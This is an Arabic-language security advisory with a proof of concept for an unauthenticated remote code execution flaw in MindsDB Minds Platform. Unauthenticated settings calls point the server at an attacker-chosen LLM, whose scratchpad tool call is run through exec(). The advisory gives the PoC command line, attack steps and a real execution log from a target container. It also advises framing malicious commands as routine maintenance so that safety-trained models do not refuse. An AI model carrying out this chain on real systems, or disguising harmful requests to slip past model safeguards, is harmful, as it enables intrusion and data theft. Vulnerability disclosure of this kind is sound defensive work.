
CVE-2026-73678 — منصة MindsDB Minds ثغرة تنفيذ تعسفي للكود عن بُعد (RCE) بدون مصادقة عبر scratchpad exec (CVSS 10.0). تم التحقق منها من البداية إلى النهاية باستخدام LLM حقيقي.
CVSS 10.0 (حرجة) · CWE-94 / CWE-306 · GHSA-jcxw-h8ph-pxpv · VulnCheck
تُعرّض Minds Platform (الواجهة الخلفية مفتوحة المصدر لـ mindsdb/mindshub، وسابقًا mindsdb/minds-platform) نقطة النهاية POST /api/v1/responses/ (واجهة برمجة Responses متوافقة مع OpenAI على المنفذ 26866) بدون أي مصادقة على الإطلاق. لا يوجد أي وسيط مصادقة — لا فحص Bearer، ولا جلسات، ولا شيء. لا يثبّت الخادم سوى وسيط CORS متساهل (allow_origins=["*"], allow_credentials=True).
وبالتالي يمكن لمهاجم غير مصادَق عليه أن:
يحقن إعدادات LLM الخاصة به عبر PUT /api/v1/settings/{key} (openai_api_key, openai_base_url, planning_provider, coding_provider, *_model) — لا يتطلب أي توكن، وجميع الطلبات تُرجع 200.
يرسل موجهًا مصمَّمًا بعناية إلى POST /api/v1/responses/ → ResponsesHandler.handle() → ChatSession.turn_stream(input) الخاص بـ Anton.
يُرجع نموذج LLM (الذي يتحكم فيه المهاجم) استدعاء دالة لأداة scratchpad المدمجة (action: "exec"). handle_scratchpad → prepare_scratchpad_exec → ScratchpadManager → LocalScratchpadRuntime → scratchpad_boot.py:
compiled = compile(code, "<scratchpad>", "exec")
exec(compiled, namespace) # arbitrary Python → arbitrary OS commands
نظرًا لأن نقطة نهاية LLM يختارها المهاجم (BYOK)، يمكن للمهاجم أن يجعل النموذج يُرجع أي كود scratchpad — فلا حاجة إلى تعاون النموذج أو إكراهه. الشرط المسبق الوحيد هو مفتاح API صالح لمزوّد LLM متوافق مع OpenAI.
الإصدارات المتأثرة: ≤ v26.1.0 (أُضيف الكود القابل للاستغلال في 2026-06-08، "Fresh #12461"). الإصلاح: لا يوجد — لا يذكر GHSA أي إصدار مُصحَّح؛ ما يزال exec() موجودًا في main (لا يوجد سوى وسيط Bearer اختياري مُعطَّل افتراضيًا باسم COWORK_REQUIRE_AUTH وفحوصات نطاق org-mode).
python3 poc_cve-2026-73678.py \
--target http://TARGET:26866 \
--api-key sk-YOUR_OWN_KEY \
--base-url https://api.openai.com/v1 \
--model gpt-4o
الاستغلال التجريبي (PoC):
PUT /api/v1/settings/* بدون مصادقة.uname -a وhostname عبر exec الخاص بـ scratchpad).cat /tmp/system_info.txt.ملاحظة حول هندسة الموجّهات (prompt engineering): قد ترفض النماذج ذات التدريب القوي على السلامة الأوامر الخبيثة الواضحة (مثل أسماء الملفات التي تحتوي "pwn"). قدّم الطلب على أنه صيانة روتينية (تشخيص نظام، فحص سلامة) — فـ scratchpad ينفّذ أي كود يوفّره النموذج.
سلسلة تنفيذ حقيقية من البداية إلى النهاية على cowork-server==0.26.6.26.1 مع مزوّد LLM حقيقي (OpenCode Zen، minimax-m3):
== [1] AUTH-FREE SETTINGS INJECTION ==
PUT /api/v1/settings/openai_api_key: HTTP 200
PUT /api/v1/settings/openai_base_url: HTTP 200
PUT /api/v1/settings/planning_provider: HTTP 200
PUT /api/v1/settings/coding_provider: HTTP 200
PUT /api/v1/settings/planning_model: HTTP 200
PUT /api/v1/settings/coding_model: HTTP 200
== [2] CRAFTED PROMPT -> POST /api/v1/responses/ ==
HTTP 200 (15.6s) — LLM called the scratchpad tool
== [3] COMMAND EXECUTION CONFIRMED ==
/tmp/system_info.txt inside the container:
Linux 95d5d7fa74f6 6.12.75+rpt-rpi-2712 ... aarch64 GNU/Linux
95d5d7fa74f6
لم يُرسَل أي توكن في أي مرحلة. تم توليد مخرجات uname -a داخل حاوية الهدف بواسطة exec الخاص بـ scratchpad — تنفيذ أوامر نظام تشغيل تعسّفية كمهاجم بعيد غير مصادَق عليه.
GET /api/v1/settings/reveal-key/{name} يكشف الأسرار المكوَّنة؛ وPOST /api/v1/settings/raw يكتب في ~/.anton/.env.mindsdb/mindshub)